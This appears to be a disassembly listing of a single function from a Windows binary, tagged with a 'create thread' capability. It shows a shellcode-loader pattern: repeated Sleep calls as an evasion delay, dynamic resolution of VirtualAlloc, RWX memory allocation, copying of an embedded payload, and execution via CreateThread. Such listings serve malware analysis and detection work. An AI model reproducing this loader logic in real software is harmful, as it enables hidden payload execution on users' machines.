Function at 0x401160
Capabilities:
Create thread

Disassembly:
sub esp, 0x604
push ebx
push ebp
push esi
push edi
mov ebp, ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.MSVCRT.dll_rand]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov edx, eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x14]
mov ebx, dword [sym.imp.USER32.dll_GetUserObjectInformationA]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push 0x100
push ecx
push 2
push edx
call ebx
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x214]
push 0x4063dc
lea edx, [esp + 0x218]
push str.SYSTEMCurrentControlSetServices_s
rep stosd dword es:[edi], eax
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0xc
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0xa
call esi
push 0x2000000
push 0
push 0
call dword [sym.imp.USER32.dll_OpenInputDesktop]
mov edx, eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x114]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
lea ecx, [esp + 0x114]
push eax
push 0x100
push ecx
push 2
push edx
call ebx
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x4012cc
mov edx, dword [sym.imp.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push 0x4062d0
push edx
call dword [sym.imp.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::operator___class_std::basic_ostream_char__struct_std::char_traits_char_____char_const__]
push eax
call dword [sym.imp.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
add esp, 0xc
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x604
ret
push str.VirtualAlloc
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x40130e
mov eax, dword [sym.imp.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push 0x4062a0
push eax
call dword [sym.imp.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::operator___class_std::basic_ostream_char__struct_std::char_traits_char_____char_const__]
push eax
call dword [sym.imp.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x604
ret
mov ecx, dword [0x40629c]
push 0x40
push 0x3000
push ecx
push 0
call eax
mov ecx, dword [0x40629c]
mov ebx, eax
mov edx, ecx
lea esi, [ebp + 0x4da90]
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
test eax, eax
rep movsb byte es:[edi], byte [esi]
jne 0x40134d
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x604
ret
push 0
push 0
push ebx
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
jne 0x40137d
push 0x8000
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x604
ret
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x604
ret